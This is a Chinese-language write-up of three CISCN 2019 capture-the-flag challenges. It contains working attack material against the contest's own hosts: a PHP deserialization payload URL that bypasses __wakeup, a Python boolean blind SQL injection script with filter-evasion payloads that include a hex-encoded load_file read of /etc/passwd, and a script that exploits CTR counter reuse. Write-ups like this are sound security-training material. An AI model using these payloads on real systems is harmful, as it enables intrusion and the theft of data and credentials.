Ciscn 2019 初赛 Writeup

发表于 2019 年 4 月 25 日

输出了两题 web + 一题 crypto, 太菜了 QAQ
因为也是要交上去的, 就写的比较简单了.

JustSoso

根据html内的提示, php://filter/read=convert.base64-encode/resource=index.php
和 php://filter/read=convert.base64-encode/resource=hint.php 得到源码,
之后代码审计.

  1. 通过 ///index.php 使 parse_url 返回 false, 绕过 payload 内不能有 flag 的限制
  2. 通过引用的方式, 绕过 $this->token === $this->token_flag
  3. 将序列化后的字符串 "Handle":1 的改为 2, 使其反序列时不调用 __wakeup 魔术方法, 让 handler 正常调用

最后 payload:
http://fe95bbad6a4f406cbd981c3496fb83f2be3784a02dfb46d1.changame.ichunqiu.com///index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3Bs%3A32%3A%226754e06e46dfa419d5afe3c9781cecad%22%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D

全宇宙最简单的SQL

尝试 admin'asdasd 返回数据库操作失败, 说明存在注入漏洞,
尝试盲注但是发现 benchmark 和 sleep 全部被替换为 QwQ, 随即尝试布尔注入,
发现 if 和 case 也被过滤. 最后用短路求值的方式代替 if, 并用 exp(710) 产生错误,
如果前面语句返回 true, 将返回数据库操作失败, 如果前面语句返回 false, 返回账号登录失败. 且表名为常见名称 user,
列名通过虚表的方式绕过.

 1import requests
 2import string
 3from tqdm import tqdm
 4# url = "http://0d3316846cd2408dbfdf95808c03f3f5714e7d9655ee4d4e.changame.ichunqiu.com/"
 5url = "http://106.119.182.216/"
 6# username=asd'/**/and/**/1=(SELECT/**/database()/**/like/**/'z')/**/and/**/exp(710)#&password=admin
 7sess = requests.session()
 8sess.headers["Host"] = "0d3316846cd2408dbfdf95808c03f3f5714e7d9655ee4d4e.changame.ichunqiu.com"
 9# database: ctf
10# table: user
11# 2 col
12# /fll1llag_h3r3 2,F1AG@1s-at_/fll1llag_h3r3
13# f"asd'/**/and/**/1=(SELECT/**/version()/**/like/**/'{i}')/**/and/**/exp(710)#",
14# asd'/**/and/**/1=(select(SELECT/**/group_concat(`1`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'a%')/**/and/**/exp(710)#
15# f"asd'/**/and/**/1=(select(SELECT/**/hex(group_concat(`2`))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'{tmp}%')/**/and/**/exp(710)#",
16# f"asd'/**/and/**/1=(select/**/load_file(0x2f6574632f706173737764)/**/like/**/'{tmp}')/**/and/**/exp(710)#",
17#table = string.printable[:-5]
18#table = table.replace("%", '')
19#table = table.replace("'", "")
20#table = table.replace("\\", "")
21table = "0123456789ABCDEF"
22curr = ''
23for _ in range(999):
24    for i in tqdm(table):
25        tmp = curr + i + "%"
26        data = {
27            "username": f"asd'/**/and/**/1=(select(SELECT/**/hex(group_concat(`2`))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'{tmp}%')/**/and/**/exp(710)#",
28            "password": "admin"
29        }
30        success = False
31        while not success:
32            try:
33                res = sess.post(url, data, timeout=2)
34                success = True
35            except Exception:
36                pass
37        res = res.content
38        res = res.decode('utf-8')
39        if "数据库操作" in res:
40            curr += i
41            print(curr)
42            break
43        if i == table[-1]:
44            raise Exception

最后得到 admin 的密码为 F1AG@1s-at_/fll1llag_h3r3, 尝试直接 load_file读取失败.
应该是没有权限, 随即在web上尝试登录admin, 发现是 mysql 客户端连接并执行语句的服务.
猜测有客户端读任意文件的漏洞, 可以直接拿到flag文件.

warmup

题目采用的是 CTR 模式, 而且每次加密采用同一计数器,
只要第一次发送空, 之后每次爆破一位比对是否与第一次对应位置的值相同即可.

 1from remoteCLI import CLI
 2from binascii import unhexlify
 3import string
 4from tqdm import tqdm
 5
 6result = r'result>([0-9a-f]{0,})'
 7
 8cli = CLI()
 9cli.connect("fc32f84bc46ac22d97e5f876e3100922.kr-lab.com", 12345)
10cli.sendLine('')
11res = cli.recvUntilFind(result)[0]
12flag = unhexlify(res)
13flagLen = len(flag)
14table = string.printable[:-5]
15curr = ''
16for seq in range(flagLen):
17    for i in tqdm(table):
18        cli.sendLine(curr + i)
19        res = cli.recvUntilFind(result)[0]
20        res = unhexlify(res)
21        if res[seq] == flag[seq]:
22            curr += i
23            print(curr)
24            break